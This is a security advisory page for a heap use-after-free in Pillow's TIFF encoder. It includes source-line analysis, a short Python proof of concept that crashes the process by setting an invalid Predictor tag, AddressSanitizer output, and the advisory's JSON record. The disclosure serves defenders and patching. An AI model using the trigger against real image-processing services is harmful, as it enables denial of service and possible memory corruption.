GHSA-4RR5-89J8-MWWM

Vulnerability from github – Published: 2026-10-21 21:24 – Updated: 2026-10-21 21:24
VLAI
Summary
Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
Details

Summary

Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.

Details

The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):

  • src/libImaging/TiffDecode.c:1041-1046

Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:

  • src/encode.c:99-101
  • src/libImaging/TiffDecode.c:955

TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:

  • src/libImaging/TiffDecode.c:103-115

The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.

PoC

import io
from PIL import Image

# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3})  # 317 = Predictor

Run it:

$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.

Under AddressSanitizer (build with -fsanitize=address), relevant frames:

==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115
    #3 TIFFFlush                      libtiff.so.6
    #5 TIFFClose                      libtiff.so.6
    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955
    #7 _dealloc                       src/encode.c:100
freed by thread T0 here:
    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045
    #2 _encode                        src/encode.c:139
previously allocated by thread T0 here:
    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863
    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc

The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.

Impact

Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.3.0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T21:24:19Z",
    "nvd_published_at": "2026-10-19T22:17:06Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSaving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.\n\n### Details\nThe failure path in `ImagingLibTiffEncode` frees `clientstate-\u003edata` for the in-memory case but does not close the TIFF or null `clientstate-\u003etiff` (the file-descriptor branch just above it does set `tiff = NULL`):\n\n- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:\n\n- `src/encode.c:99-101`\n- `src/libImaging/TiffDecode.c:955`\n\n`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state-\u003edata`:\n\n- `src/libImaging/TiffDecode.c:103-115`\n\nThe Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.\n\n### PoC\n```python\nimport io\nfrom PIL import Image\n\n# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer\n# data, so TIFFWriteScanline fails. The encoder frees clientstate-\u003edata but leaves the\n# TIFF open; cleanup\u0027s TIFFClose then writes through the callback into the freed buffer.\nim = Image.new(\"L\", (64, 64))\nbuf = io.BytesIO()\nim.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3})  # 317 = Predictor\n```\n\nRun it:\n```\n$ python 01_poc.py\nPredictorSetup: Floating point \"Predictor\" not supported with 1 data format.\nOSError: encoder error -2 when writing image file\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.\n\nUnder AddressSanitizer (build with `-fsanitize=address`), relevant frames:\n```\n==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804\nWRITE of size 4 at 0x7ef737b48804 thread T0\n    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115\n    #3 TIFFFlush                      libtiff.so.6\n    #5 TIFFClose                      libtiff.so.6\n    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955\n    #7 _dealloc                       src/encode.c:100\nfreed by thread T0 here:\n    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045\n    #2 _encode                        src/encode.c:139\npreviously allocated by thread T0 here:\n    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863\n    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757\nSUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc\n```\nThe buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder\u0027s `_dealloc`.\n\n### Impact\nUse-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.",
  "id": "GHSA-4rr5-89j8-mwwm",
  "modified": "2026-10-21T21:24:19Z",
  "published": "2026-10-21T21:24:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112396"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.